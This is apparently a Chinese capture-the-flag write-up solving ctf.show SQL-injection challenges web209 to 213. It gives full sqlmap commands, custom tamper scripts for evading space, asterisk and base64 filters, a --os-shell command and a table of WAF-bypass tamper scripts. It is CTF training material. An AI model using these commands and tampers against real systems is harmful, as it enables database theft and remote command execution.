python3 sqlmap.py -u "http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=igqfvdb6q8776gjl2kj45d5dre" --user-agent=sqlmap --referer=ctf.show --tamper="space2tab,asterisk2newline,equaltolike,randomcase" -D ctfshow_web -T ctfshow_flav --dump

也可以直接用换行把这*和空格都过滤的tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue

elif payload[i] == '*':
retVal += chr(0x0a)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

1
2
3
python3 sqlmap.py -u "http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb209" -D ctfshow_web --tables

python3 sqlmap.py -u "http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://e7644ec1-f00f-4252-8e0e-6ded4c1345c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb209" -D ctfshow_web -T ctfshow_flav --dump

web210

1
2
3
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

反着写个tamper就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
pass


def tamper(payload, **kwargs):

if payload:
reversed_encoded=payload[::-1]
encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
double_reversed_encoded=encoded[::-1]
final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
return final_encoded

return payload

1
2
3
python3 sqlmap.py -u "http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=sm67m32oeefg55tcpiq1smouod" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb210" -D ctfshow_web --tables

python3 sqlmap.py -u "http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://c4f3da76-d10a-469e-bc92-07e003617a34.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=sm67m32oeefg55tcpiq1smouod" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb210" -D ctfshow_web -T ctfshow_flavi --dump

web211

加个绕过空格就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
pass


def tamper(payload, **kwargs):

if payload:
payload = payload.replace(" ", "/**/")
reversed_encoded=payload[::-1]
encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
double_reversed_encoded=encoded[::-1]
final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
return final_encoded

return payload

1
2
3
python3 sqlmap.py -u "http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb211" -D ctfshow_web --tables

python3 sqlmap.py -u "http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://0bd6a136-199c-451a-aa5f-622d5e99a51d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb211" -D ctfshow_web -T ctfshow_flavia --dump

web212

1
2
3
4
5
6
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
pass


def tamper(payload, **kwargs):

if payload:
payload = payload.replace(" ", chr(0x09))
reversed_encoded=payload[::-1]
encoded=base64.b64encode(reversed_encoded.encode('utf-8')).decode('utf-8')
double_reversed_encoded=encoded[::-1]
final_encoded=base64.b64encode(double_reversed_encoded.encode('utf-8')).decode('utf-8')
return final_encoded

return payload

1
2
3
python3 sqlmap.py -u "http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb212" -D ctfshow_web --tables

python3 sqlmap.py -u "http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://2a62292f-5ea8-4590-ab1d-3edbbd9b6d20.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=eusf2q9tfu758qcjpl98l3rck4" --user-agent=sqlmap --referer=ctf.show --tamper="ctfshowweb212" -D ctfshow_web -T ctfshow_flavis --dump

web213

waf一样

1
python3 sqlmap.py -u "http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="ctfshowweb212" -D ctfshow_web --tables --batch

没有flag表名,尝试连接shell

1
python3 sqlmap.py -u "http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://dbae3790-fac5-4d70-948e-72d3aae610c6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="ctfshowweb212" -D ctfshow_web --tables --batch --os-shell

1

Tamper

空白字符处理

脚本名称 功能描述
space2comment.py 使用 /**/ 代替空格
space2dash.py 绕过过滤 =,用 -- 注释替换空格,后跟随机字符串和换行符
space2hash.py 将空格替换为 # 号,后跟随机字符串和换行符
space2morehash.py 将空格替换为 # 号以及更多随机字符串和换行符
space2mssqlblank.py 使用 MSSQL 特有的空白符替换空格
space2mysqlblank.py 使用 MySQL 特有的空白符替换空格
space2mysqldash.py 将空格替换为 -- 破折号注释和换行符
space2plus.py + 替换空格
space2randomblank.py 将空格替换为随机有效的空白字符
multiplespaces.py 在 SQL 关键字周围添加多个空格
bluecoat.py 用随机有效空白字符替换空格,并将 = 替换为 like
space2comment.py 将空格替换为注释 /**/

字符编码与替换

脚本名称 功能描述
apostrophemask.py 使用 UTF-8 编码替换引号
apostrophenullencode.py 绕过双引号过滤,替换字符和双引号
charencode.py URL 编码
charunicodeencode.py 字符串 Unicode 编码
chardoubleencode.py 双重 URL 编码(不处理已编码的)
randomcase.py SQL 关键字随机大小写
unmagicquotes.py 使用宽字符绕过 GPC addslashes
base64encode.py 使用 Base64 编码替换

操作符替换

脚本名称 功能描述
equaltolike.py like 替换等号
greatest.py 绕过过滤 >,用 GREATEST 替换大于号
between.py between 替换大于号 >
ifnull2ifisnull.py 绕过 IFNULL 过滤,将 IFNULL(A,B) 替换为 IF(ISNULL(A), B, A)

注释与关键字处理

脚本名称 功能描述
halfversionedmorekeywords.py MySQL 环境下绕过防火墙,在关键字前添加 MySQL 版本注释
randomcomments.py /**/ 分割 SQL 关键字
modsecurityversioned.py 通过完整查询版本注释绕过过滤
versionedmorekeywords.py 使用注释绕过
nonrecursivereplacement.py 使用双重查询语句替代 SQL 关键字

联合查询处理

脚本名称 功能描述
unionalltounion.py UNION ALL SELECT 替换为 UNION SELECT

特殊技巧

脚本名称 功能描述
appendnullbyte.py 在有效负载结束位置添加零字节字符编码
sp_password.py 在负载末尾追加 sp_password,使其在 DBMS 日志中自动模糊处理
securesphere.py 追加特制字符串

使用方法

在 SQLmap 命令中使用 --tamper 参数来指定一个或多个 Tamper 脚本:

1
python sqlmap.py -u "http://example.com" --tamper="space2comment,between"

可以通过逗号分隔使用多个 Tamper 脚本,按照从左到右的顺序依次应用。

小结

很抽象就是我虚拟机比本地跑的快很多,不知道为什么,简单的201,本机跑了五六分钟,但是虚拟机就两分钟的样子,算是深入浅出了一下sqlmap,知道了一些常用的打法,baozongwi现在也会写点简单的tamper了